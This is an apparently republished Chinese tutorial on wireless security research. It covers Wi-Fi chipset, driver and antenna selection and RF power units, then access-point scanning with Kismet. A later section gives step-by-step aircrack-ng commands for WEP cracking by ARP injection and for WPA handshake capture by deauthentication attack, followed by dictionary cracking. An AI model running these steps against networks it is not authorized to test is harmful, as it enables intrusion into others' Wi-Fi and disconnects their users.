前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >走进科学: 无线安全需要了解的芯片选型、扫描器使用知识

走进科学: 无线安全需要了解的芯片选型、扫描器使用知识

作者头像
FB客服
发布于 2018-02-02 07:35:36
发布于 2018-02-02 07:35:36
1.6K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

作者 LittleHann

目录

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 无线安全研究需要的软硬件选型、及物理电气参数
2. 无线攻击第一步: "网络AP探测"、扫描器的使用

1. 无线安全研究需要的软硬件选型、及物理电气参数

在进行实际的无线安全攻击、研究之前,我们需要准备一些硬件设备、包括与之配套的软件。基本上来说,无线黑客技术需要涉及到以下几个组件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 底层芯片组
不论是USB网卡、PCI网卡、还是PCMCIA内置网卡,它们的核心都是"芯片组",即我们现在常说的卡皇、无线网卡的不同牌子,
本质上应该讨论它们内部使用的芯片组,我们要关注的电气性能也是针对芯片组的。现在常见的WLAN芯片厂商有
    1) Atheros(钰硕): https://wikidevi.com/wiki/Atheros
    2) Broadcom(博通): http://zh-cn.broadcom.com/
    3) Intel Pro Wireless、Intel Wifi Link(Centrino): 
    http://www.intel.com/support/wireless/wlan/sb/CS-010623.htm
    4) Ralink(雷凌): http://www.ralinktech.com/en/
    5) Realtek(瑞昱):  
2. 芯片驱动程序
芯片是硬件设备,Ring3的应用程序需要通过驱动程序来和芯片的指定端口通信,从而使用芯片的物理特性(发送、接收数据帧),
Linux下的无线驱动程序经过了一段"发展期",最终以"mac80211驱动框架"作为最终的"主树结构"

http://wireless.kernel.org/en/developers/Documentation/mac80211

mac80211是一个无线驱动的框架,它提供了大量的API、规范,在这个框架下编写驱动程序能和其他的驱动具有良好的共享性、
兼容性(类似与windows下的NDIS框架的作用)
一般来说,各家芯片厂商都会提供配套的驱动程序、并提供更新支持
    1) Atheros(AR系列)
    http://www.qca.qualcomm.com/resources/driverdownloads/
    http://wireless.kernel.org/en/users/Drivers/Atheros
    2) Broadcom
    http://zh-cn.broadcom.com/support/802.11/linux_sta.php
    http://wiki.centos.org/zh/HowTos/Laptops/Wireless/Broadcom
    3) Intel
    http://wireless.kernel.org/en/users/Drivers/iwlwifi
    4) Ralink(RT系类)
    http://www.mediatek.com/en/downloads/
    淘宝上卖的很多卡皇的内置芯片就是这种RT型号
    5) Realtek(RTL系列)
    http://www.realtek.com.tw/DOWNLOADS/downloadsView.aspx?Langid=1&PNid=14&PFid=7&Level=5&Conn=4&
    DownTypeID=3&GetDown=false
需要注意的,我们在选择驱动的时候需要关注一下当前驱动是否支持USB(因为现在大多数人包括我自己都是使用外置网卡(卡皇)进
   行实验的)

3. 应用程序编程接口(API)(不是必须)
本质上来说,我们可以直接编写ring3代码,调用驱动的编程接口来实现我们想要的功能。但是从实现难度、开发成本上来讲,
还是太过麻烦了。为此,开源社区开发了一些封装良好的、功能完善的API库,讲对驱动的调用作了一层封装,使上层应用能更
方便、快速地进行WLAN软件的开发
    1) OSDEP
    Aircrack-ng就是基于OSDEPAPI进行开发的
    http://freecode.com/projects/aircrack-ng
    2) LORCON2
    http://blog.opensecurityresearch.com/2012/05/installing-lorcon2-on-backtrack-5-r2.html 
    3) libpcap
    Libpcap提供了系统独立的用户级别网络数据包捕获接口,并充分考虑到应用程序的可移植性
     
4. 无线安全软件工具
到了这一层就是我们在Linux下常见的各种类型的工具软件
它们主要完成如下几个功能
    1) 使用"监控模式"捕获指定"信道"上的无线数据报,达到嗅探的目的
    2) 数据包注入,即重放任意数据的数据帧,主要有如下目的
        2.1) 造成DDOS效果,使流量增加,加速WEP攻击
        2.2) 注入解除认证(deauthentication)数据包,使用该数据包可以把用户和AP断开,从而获取WPA4次握手数据
             包,然后可进行离线字典、或彩虹表密码破解
    3) 主动发送"探测数据包",进行主动的服务(SSID)发现
    4) 信号干扰
常用的无线安全软件有:
    1) Aircack-ng(suit)
    http://www.aircrack-ng.org/
    2) MDK3
    http://files.cnblogs.com/LittleHann/Mdk3.rar
    http://hack-it.org/index.php?title=Mdk3
    3) Airbase
    https://www.airbasemakeup.com/
    4) AirPWN
    http://airpwn.sourceforge.net/
    5) Kismet
    http://www.kismetwireless.net/

需要注意的一点是:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
本文讨论的驱动、软件都是在Linux平台下的,我也尝试过在windows下基于winpcap进行编程、嗅探攻击的使用,结果发现
问题颇多(各种蛋疼),无法顺利地开展研究工作,索性完全放弃windows下的尝试,改为在Linux下进行,所以,本文所涉及
到的驱动、扫描器都是在Linux下使用的,后面将不再声明

我们前面说过,不同型号的网卡的"主要差别"在于内置的芯片组,但是,一个无线网卡的好坏除了和上面说的芯片组、驱动有关,还和它自身的一些物理、电气特性有关,下面我们来一起逐一学习一下。

一般来说,综合评价一个网卡的性能,有如下几个维度

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 芯片组型号2. 发射(TX)功率  
3. 天线的支持(信号增益、类型)
4. 灵敏度
5. 频率范围  
6. 工作信道(是否支持跳频)  
7. 支持的模式  
8. 是否支持USB接口
9. 价格

0×1: 芯片组型号

就我个人经验来看,目前主流的这些芯片厂商的芯片性能都没有什么太大的差别(至少对于中低端网卡来说没有)。我在实验的时候选择的是"RT3070L"芯片,在BT5下也默认对它提供了驱动支持,所以前期准备这块比较方便。一般来说,当网卡的价格到达数千级别,芯片的型号的差异可能会带来性能的差别。

在芯片选型的时候,我们要关注的是这个芯片的驱动支持情况,以下命令可以帮助我们更好地完成这个目标

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
airdriver-ng supported 
airdriver-ng details 序号 
airdriver-ng installed

0×2: 发射(TX)功率

发射功率是我们需要重点关注的一个维度,当我们在wireless模式下需要发送数据包的时候,协议栈会将我们的数据包层层封装,最终封装成"数据帧",最终通过无线网卡转换为射频信号(一种电磁脉冲),通过馈线(电缆)输送到天线,由天线以电磁波形式辐射出去(如果你是插网线就是通过网口发送出去)。电磁波在介质(空气)中传播过程中会不断衰减,这也是为什么我们不能接收到离我们很远的地方的Wi-Fi信号的原因,电磁波到达接收地点后,由天线接收下来(仅仅接收很小很小一部分功率,因为电磁波是向四周同时扩散的),并通过馈线送到目标无线接收设备中,因此在无线网络的工程中,计算发射装置的发射功率与天线的辐射能力非常重要。

Tx是发射(Transmits)的简称。无线电波的发射功率是指在给定频段范围内的能量,通常有两种衡量标准:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 功率(W): 单位是瓦(Watts)的线性水准。例如我自己实验用的无线网卡的发射功率为0.063W,或者说63mW2、增益(dBm 或
者叫分贝): 63mW换算成增益(dBm)就是18dBm

功率单位mW(豪瓦)和dBm(分贝)的换算

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. dBm = 10 x log [功率mW]2. mW = 10 [增益dBm / 10dBm]

在"小功率"系统中(例如无线局域网络设备)每个dB都非常重要,特别要记住"3dB法则",即:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1) 增加3dB: 增加一倍功率
2) 降低3dB: 降低一半功率

功率每增加一倍,电平值增加 3dBm。对于AP、或本地网卡的信号强度的测量,有很多工具可以完成

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 频谱分析仪(专业设备): 淘宝上很多,几千块一套
2. Inssider(下图)

0×3: 天线的支持(信号增益、类型)

天线对于一个无线网卡的性能来说是至关重要的,虽然常常它们看起来并不是那么重要,如果说有线宽带之间进行连接的介质是电缆、或者光纤,那么对于无线网络来说,空气就是它的传输介质,而天线就相当于NIC网卡和空气介质的"连接器"(作用类似于水晶头)

在无线系统中,天线被用来把电流波转换成电磁波,在转换过程中还可以对发射和接收的信号进行"放大",这种能量放大的度量成为"增益(Gain)"。天线增益的度量单位为"dBi"。

由于无线系统中的电磁波能量是由发射设备的发射能量和天线的放大叠加作用产生,因此度量发射能量最好同一度量-增益(dB),例如,发射设备的功率为100mW(20dBm),天线的增益为10dBi,则发射总能量:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
发射功率(dBm) + 天线增益(dBi) = 20dBm + 10dBi = 30dBm

需要注意的是,我们对于"天线"这个词可能会有先入为主的概念,像小时候玩的收音机上面看到的那种金属棒,其实,从物理学的角度来看,"天线"应该是一个抽象的概念,它指一切可以汇聚、增益、并发送电磁信号的设备,我们可以这么理解:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
天线通过聚集于网卡已经产生的信号来工作。网卡产生一个信号,形状类似于一个三维球体。全向天线的工作基本上是接收这种
球体并"压扁"更多圆圈,这样在水平面的信号传的更远,但垂直方向上没这么远。更重要的是,全向天线的增益越高,圆形图就
"越扁平"。定向天线以同样的方式工作,牺牲一个方向的信号,以获取另一个方向的信号

天线可以大致分为两种类型:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 全向天线(Omnidirectional Antenna)
在所有方向上扩大范围的天线
    1) 基站天线: 9~12dBi的增益 
    通常有白色PVC管,长3048英寸。天线越长,增益越高
    2) 磁性底座天线(magnetic mount antennas): 5~9dBi的增益
    战争驾驶(wardriving)中效果最好
    
2. 定向天线
向一个指定方向扩大范围的天线
    1) 波导天线(cantennas)
    http://www.antenna-theory.com/cn/antennas/aperture/slottedWaveguide.php
    2) 引向发射天线: 波导天线的提升
    3) 板状天线(panel antenna)
    http://baike.baidu.com/view/8695946.htm
    主要用于室外信号覆盖。无论是GSM 还是CDMA, 板状天线是用得最为普遍的一类极为重要的基站天线 
    4) 八木天线(yagi antenna)
    http://zh.wikipedia.org/wiki/%E5%85%AB%E6%9C%A8%E5%A4%A9%E7%BA%BF
    外形十分酷炫,淘宝上有很多可以买
    5) 抛物面天线(parabolic antenna)
    http://baike.baidu.com/view/880872.htm
    提供最大的增益、最窄的波束。由抛物面反射器和位于其焦点处的馈源组成的面状天线叫抛物面天线。我们在电视上看
    到的雷达的那个圆盘就是这种天线

0×4: 灵敏度

灵敏度同样是一个我们需要关注的维度,我们在使用电流表的时候都会听说过一个概念,这个设备的灵敏度是多少,表明这个设备能"感知"到最小的电流是多少,对于天线来说也一样,灵敏度决定了我们的无线网卡能够接收到多么微弱的信号,即能收到多远的AP发来的数据包,这在进行黑客攻击的时候很重要,因为这意味着你能够在原理目标更远的距离发起无线攻击。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
我们通常用dBm(分贝)测量灵敏度,负数越小越好(-90表明比-80更灵敏),大家可以画一个Log函数图,就会发现知道原理
(灵敏度功率越小、负值越大、感知灵敏度越好),在天文学名词库中可以找到关于"天线灵敏度"的定义
http://www.lamost.org/astrodict/dict_details.php?U=8078

0×4: 频率范围

这里的频率指的是无线网卡的工作频段,IEEE802.11下的无线信号工作在

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 2.4GHz频段
2. 4.9/5.8 GHz频段

频率本身只是表示电磁波的"每秒震动次数",并没有其他的意义,2.4和4.9/5.8GHz的传输速度都是一样的,并且它们互相不干扰。注意,因为互相不干扰,所以意味着你的设备如果是2.4GHz工作模式的,则不能接收工作在5GHz下的数据包,同样,市场主流卖的无线网卡、卡皇都是2.4GHz的,而5GHz的设备国外的Shop上很多,但价格相对较贵。所以从某种程度上来说,将工作频率切换到5GHz是一种对抗无线嗅探攻击的手段

0×5: 工作信道(是否支持跳频)

Wi-Fi总共有14个信道(IEEE的标准,各个国家的具体标准稍有不同)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. IEEE 802.11b/g标准工作在2.4G频段,频率范围为2.4002.4835GHz,共83.5M带宽
2. 划分为14个子信道
3. 每个子信道宽度为22MHz
4. 相邻信道的中心频点间隔5MHz
5. 相邻的多个信道存在频率重叠(1信道与2345信道有频率重叠)
6. 为了保证信道的不干扰性,整个频段内只有3个(1611)互不干扰信道(注意下图中红色的半圆的中间对应的数字)

其他国家的信道划分

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 中国: 2.4GHz-2.4835GHz(13信道)
2. 北美/FCC: 2.412-2.461GHz(11信道)
3. 欧洲/ETSI: 2.412-2.472GHz(13信道)
4. 日本/ARIB: 2.412-2.484GHz(14信道)

0×5: 支持的模式

目前主流的无线网卡的工作模式有:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
11b: 1/2/5.5/11Mbps
11g: 6/9/12/18/24/36/48/54Mbps
11n: 最高可达150Mbps

在这篇文章的开头,列举目前802.11家族的工作模式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://www.cnblogs.com/LittleHann/p/3700357.html

在网卡选型的时候,看清楚工作模式很重要,因为在和AP进行连接交互的时候,会有一个工作模式的协商过程:

只有客户端和AP都支持某个工作模式,双方才能继续进行连接。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
这很像SSLTLS初始认证的时候会进行加密算法的协商过程

0×6: 是否支持USB接口

无线网卡是否有外设的USB接口

0×7: 价格

关于无线网卡的选型,可以参考下面的链接

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
网卡性能对比: http://wireless.kernel.org/en/users/DevicesFCC认证查询(进入美国市场的电子产品必须通过FCC认证,
该认证具有强制性): http://transition.fcc.gov/oet/ea/fccid/

2. 无线攻击第一步: "网络AP探测"、扫描器的使用

了解了无线网卡的选型之后,我们就作好了进行无线安全研究的基础准备工作,接下来要开始无线安全研究的第一步,也是我们面对的第一个问题,如何找到我们的攻击目标,即"网络AP探测(服务发现)",要完成这个目标,我们需要借助扫描器(Scanner).

我们前面说过,基本上来说,无线安全软件需要完成如下几个功能:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1) 使用"监控模式"捕获指定"信道"上的无线数据报,达到嗅探的目的
2) 数据包注入,即重放任意数据的数据帧,主要有如下目的
    2.1) 造成DDOS效果,使流量增加,加速WEP攻击
    2.2) 注入解除认证(deauthentication)数据包,使用该数据包可以把用户和AP断开,从而获取WPA4次握手数据包,然
         后可进行离线字典、或彩虹表密码破解
3) 主动发送"探测数据包",进行主动的服务(SSID)发现
4) 信号干扰

接下来,我们逐一学习一下要完成这些目标会用到的软件、以及它们的原理

0×1: 数据包嗅探

数据包嗅探软件监视给定"信道"上数据包的无线信号,它自身不发送数据包。相反,它们使用监控模式(Monitor Mode)监听信道上的所有数据包。

把一个无线网卡设置为"监控模式"类似于把一个正常的有线以太网卡设置为混杂模式(Promiscuous Mode)。在这种情况下,可以看到所有走过"线缆"(或信道)的数据包。

然而,它们之间的关键的区别是:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1) 把有线网卡设置为混杂模式时,你所捕获到的数据包一定存在于当前信道中(同一个Hub局域网中)
2) 在无线网络的情况下,因为2.4GHz范围的波段频率是非授权的,它是可以共享访问的,这意味着使用同一个信道可以有多个
   重叠网络(频分复用)。监控模式下看到的数据包可能存在于多个信道中
3) 对于有线网卡来说,以太网卡的混杂模式是一个标准功能
4) 但是对于无线网卡的监控模式,则不能简单地假设其肯定有监控模式的功能
  4.1) 网卡本身的芯片必须支持这种模式
  4.2) 正在使用的驱动程序本身也必须支持监控模式

数据包嗅探扫描工具的原理

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1) 将无线网卡置于监控模式
2) 扫描程序进入一个循环状态,不停地从网卡读取数据包、进行分析、同时更新用于界面

使用Kismet来进行无线嗅探

Kismet不仅是一个扫描工具,Kismet其实是一个802.11协议数据包捕获、分析的框架(Kismet捕获到的数据包可以转储下来,给其他的分析框架使用)。它由3个部分组成:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. kismet_server
2. kismet_client
3. kismet(ELF): 一个可执行文件,它kismet进行典型配置

在BT5下输入Kismet,Kismet会自动检测合适的源网卡

点击菜单栏的"S"可以对AP进行排序,点击特定的SSID,可以查看详细信息:

0×2: 数据包注入

Google上有很多"WEP密码破解"、"WPA"、"WP2密码破解"、也有很多自动化工具(如wifite、fern-wifi-cracker),它们破解的原理就是数据包注入

使用Airodump-ng系列软件来进行无线数据包注入、密码破解

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. WEP
通过静默捕获IVS数据包,或主动注入ARP数据包(这是一种数据帧),加快当前信道中的流量来加速破解,最终的目的是捕获足够
多的IVS数据包,从而利用RC4算法的缺陷来逆向出key
example:
ifconfig wlan1 up
airmon-ng start wlan1 
airodump-ng mon0
airodump-ng --ivs -w longas -c 6 mon0
//这个时候理论上可以等待抓包抓到足够数量就可以了,但是为了加快抓包速度,可以采用arp注入的方式来加快抓包
//重新打开一个新的console,然后执行arp注入命令
aireplay-ng -3 -b 08:10:77:CF:C9:62 -h CC:AF:78:26:77:BD mon0
//抓包结束后,确保抓到了足够熟练的IVs包,开始破解
aircrack-ng longas-01.ivs
如果抓到的IVs包数量不够,会遇到破解失败,最好能抓到2W以上的包数量
2. WPA
通过主动注入Deanthentication/Disassociation数据包(它们属于管理帧,试图告诉AP某个客户端想断开连接,显然这并不
是这个客户端的本意),来强制断开目标客户端和AP的Wi-Fi,连接,当目标试图和AP进行重连接的时候,黑客捕获握手4次包
(Handshak Package),然后利用离线字典、或者彩虹表进行暴力破解
example:
ifconfig wlan0 up
airmon-ng start wlan0 
airodump-ng mon0
//开始捕获无线数据包
airodump-ng --ivs -w longas -c 6 mon0
//另开一个console,进行Deauth攻击,为了捕获握手包
aireplay-ng -0 1 -a 08:10:77:CF:C9:62 -c CC:AF:78:26:77:BD mon0
//在右上角看到了 WPA handshake提示后,表示抓到了握手包,开始破解WPA-PSK
aircrack-ng -w /pentest/passwords/wordlists/test.lst longas-01.ivs

要注意的一点是,WEP中注入的是数据帧,而WPA破解中注入的是管理帧,关于IEEE802.11帧的格式,我在另一篇文章中总结了一下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://www.cnblogs.com/LittleHann/p/3700357.html

0×3: 服务发现、主动发送探测数据包

为了在一定程度上对抗无线嗅探攻击,很多的无线网络AP采取了一些配置:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 开启隐藏模式(Hidden Mode)、或非广播模式(nonbroadcasting Mode)。这些网络在其"信标帧"数据包(一种管理帧)中并
不包括SSID(网络名称),它们也不回复广播类的探测请求2. MAC地址过滤,只接收指定执行范围内的MAC地址的广播探测请求
这样造成的直接结果就是我们在"宽带连接列表"中看不到对应的SSID(WiFi名称)

针对这种防御手段,扫描器也采取了相应的技术来获得隐藏的SSID

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 通过学习802.11的帧结构,我们知道802.11的管理帧是不需要授权的,所以,我们要做的就是把AP、或者给目标用户发送一个
"解除关联数据帧(Disassociation Frame)",这样,目标用户就会和AP尝试进行"重新关联",这个管理帧会包含SSID。这同时
也是WPA破解的基本条件,这本质上属于协议上的漏洞,IEEE协会似乎已经开始着手修补,但我目前还没有看到有新版本的协议格
式发布
2. 除了在Beacon管理帧有有SSID,在普通的数据帧、控制数据发送的控制帧中同样会包含SSID(明文),可以通过捕获这类数据
帧来获取SSID,并加入UI的显示列表

3. 后记

无线的安全研究有蛮多方向的,Google上比较多的文章是密码破解、工具使用方向的,讲的都很精彩,除此之外,个人觉得还可以和传统的内网安全问题结合起来,比如说:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.AP,流量劫持: 能达到和ARP投毒相似的效果
2. MIT中间人攻击
3. 基于中间人攻击的SSL明文窃取

相关学习资料:

http://www.cnblogs.com/LittleHann/p/3700357.html

http://www.anywlan.com/

http://radiowar.diandian.com/

http://wireless.kernel.org/en/developers

http://wireless.kernel.org/en/developers/Documentation/mac80211

http://www.ayxsj.com/pdf/mw&dbm.pdf

http://www.antenna-theory.com/cn/basics/main.php

http://zh.wikipedia.org/wiki/%E5%A4%A9%E7%BA%BF

http://www.antenna-theory.com/cn/antennas/aperture/slottedWaveguide.php

http://www.360doc.com/content/14/0314/20/5896561_360631387.shtml

http://zh.wikipedia.org/wiki/WLAN%E4%BF%A1%E9%81%93%E5%88%97%E8%A1%A8

http://publish.it168.com/2005/0913/20050913020801.shtml

http://blog.csdn.net/myarrow/article/details/7930131

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2014-05-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Android 12 适配攻略
2022年2月11日,谷歌发布了首个 Android 13 开发者预览版。2022年7月,发布了Beta 4版本,接下来就是Final Relase版本了。是时候适配一波Android12了,为后面项目适配铺平道路。
八归少年
2022/09/28
3.4K0
Android 12 适配攻略
Android 12 自动适配 exported 深入解析避坑
众所周知,从 Android 12 开始,使用了 TargetSDK 31 之后,四大组件如果使用了 intent-filter, 但是没显性质配置 exported App 将会无法安装,甚至编译不通过。
GSYTech
2022/03/29
1.7K0
Android 12 自动适配 exported 深入解析避坑
写了一个适配 Android12-exported 的小插件
从 Android12 开始,如果我们的 tagSdk >=31, 即以 Android 12 或更高版本为目标平台时,且包含使用 intent 过滤器的 activity、服务或广播接收器,则必须为这些应用组件显式声明 android:exported 属性。
Petterp
2022/06/30
8940
写了一个适配 Android12-exported 的小插件
Android 12 快速适配要点
Android 12 需要更新适配点并不多,本篇主要介绍最常见的两个需要适配的点:android:exported 和 SplashScreen 。
GSYTech
2021/12/13
1.2K0
Android 12 快速适配要点
App和SDK开发必看 | 个推分享Android12适配指南
10 月 4 日,谷歌将Android12源代码推送至 Android 开源项目 (AOSP)。自从2021年2月发布Android12第一个预览版以来,历经9个月时间测试和优化,正式版本的Android12终于来了!不仅在UI方面做了不少升级,Android12对个人隐私安全的保护也得到了进一步增强。整体来讲,Android12更加智能、高效和安全,感兴趣的开发者可以登录官网下载源码测试学习。
个推君
2021/12/24
1.7K0
App和SDK开发必看 | 个推分享Android12适配指南
行为变更 | 了解 Android 12 中的 intent-filter
Android 12 一个重要的变更是提高应用和系统的安全性,这个变更影响了所有目标版本为 Android 12 的应用。
Android 开发者
2022/03/09
2K0
关于在Android 12的设备上安装app报错的问题
初步判断是AndroidManifest.xml文件内容有问题,经检查和询问Google,网络上有记录的引发此类问题的原因有以下几种。
Ant丶
2023/12/01
1.1K0
Android14 适配之——targetSdkVersion 升级到 34 需要注意些什么?
上一篇所说内容是所有 App 安装到 Android14 设备上的影响和需要注意的内容,本篇接下来就要介绍当 targetSdkVersion 升级到 34 时,App 需要注意和修改的地方。
修之竹
2023/10/20
18.2K0
Android14 适配之——targetSdkVersion 升级到 34 需要注意些什么?
Android12,你的适配开始了吗
Android 12 开发者预览版计划从 2021 年 2 月开始启动,到向 AOSP 和 OEM 提供最终的公开版本时结束,目前应该已经到beta3阶段了,看看官方里程碑时间轴,你的适配工作开始了吗
Android扫地僧
2021/04/26
4.4K0
Android12,你的适配开始了吗
AndroidManifest.xml常用标签属性介绍
AndroidManifest.xml常用标签属性介绍 manifest 标签 uses-permission 标签 uses-sdk 标签 application 标签 activity 标签 intent-filter 标签 action 标签 category 标签 data 标签 provider 标签 service 标签 receiver 标签 intent-filter 标签 action 标签 meta-data 标签 manifest 标签 manifest 标签 说明:根节点,描述了
是阿超
2022/05/29
1.7K0
全面解读系统更新,收藏下这份 Android 12 (S) 版本适配自查表
Android 12 是 2021 年 10 月发布的最新正式版本,然而很多同学表示还没有适配。针对开发者在进行版本适配过程中遇到的问题,我们建立了 GitHub · AndroidPlatformWiki[1]。我们希望站在开发者的视角,全面且深刻地解读每个 Android 版本更新,以此建立起一个体系化的 Android 系统适配手册。具体包括:
用户9995743
2022/09/26
3.2K0
全面解读系统更新,收藏下这份 Android 12 (S) 版本适配自查表
android之注册registerReceiver
广播作为四大组件之一,使用方式也是多种多样的,既可以自己在manifest中注册,也可以在java代码中动态注册,既可以接收由系统发出的广播,也可以接受自己定义并发送的广播。
李小白是一只喵
2021/01/29
2.3K0
Android开发(21) Android Manifest.xml 结构详解二
AndroidManifest.xml配置文件对于Android应用开发来说是非常重要的基础知识,本文旨在总结该配置文件中重点的用法,
Java架构师必看
2021/05/27
8070
安卓应用安全指南 4.1.2 创建/使用活动 规则书
仅在单个应用中使用的活动,不需要能够从其他应用接收任何意图。 开发人员经常假设,应该是私有的活动不会受到攻击,但有必要将这些活动显式设置为私有,以阻止恶意内容被收到。
ApacheCN_飞龙
2022/12/01
1.6K0
Android 进阶3:Intent 与 IntentFilter 匹配规则
张拭心 shixinzhang
2018/01/05
1.2K0
Android 进阶3:Intent 与 IntentFilter 匹配规则
【Android 电量优化】电量优化 ( 使用 AlarmManager 保持 CPU 唤醒 )
上一篇博客 【Android 电量优化】电量优化 ( 唤醒锁定 | 使用 WeakLock 保持服务唤醒 | 屏幕唤醒 ) 中 , 使用 WeakLock 保持 CPU 唤醒 , 全程 CPU 都处于工作状态 , 该操作耗电量非常大 ;
韩曙亮
2023/03/28
1.2K0
Android组件安全
组件是一个Android程序至关重要的构建模块。Android有四种不同的应用程序组件:Activity、Service、Content Provider和Broadcast receiver。组件的安全对于android应用来说不容忽视,下面介绍常用的android组件安全的测试方法。
信安之路
2018/08/01
2.5K1
Android组件安全
Android Intent漏洞
显式Intent通过提供目标应用的包名称或完全限定的组件类名来指定哪个应用程序将满足意向。
tea9
2023/08/24
7790
Android的广播
Broadcast 在Android中 Broadcast是一种 广泛运用在引用程序之间传输信息的机制。 而BroadcastReceiver 是对发送出来的Broadcaset进行过滤接受并响应的一类组件。 如果不需发送广播到别的应用 使用 LocalBroadcastManger就可以了。 发送和接收流程 发送和接受的过程: 发送 首先在需要发送信息的地方 ,把要发送的信息和用于过滤的信息(如action 和 category)封装进intent对象,然后调用 Context.sendBroadcast
佛系编码
2018/05/22
1.1K0
安卓应用安全指南 4.1.3 创建/使用活动 高级话题
我们已经解释了如何实现本指南中的四类活动:私有活动,公共活动,伙伴活动和内部活动。 下表中定义了每种类型的导出属性的允许的设置,和intent-filter元素的各种组合,它们在AndroidManifest.xml文件中定义。 请使用你尝试创建的活动,验证导出属性和intent-filter元素的兼容性。
ApacheCN_飞龙
2022/12/01
1.5K0
推荐阅读
相关推荐
Android 12 适配攻略
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档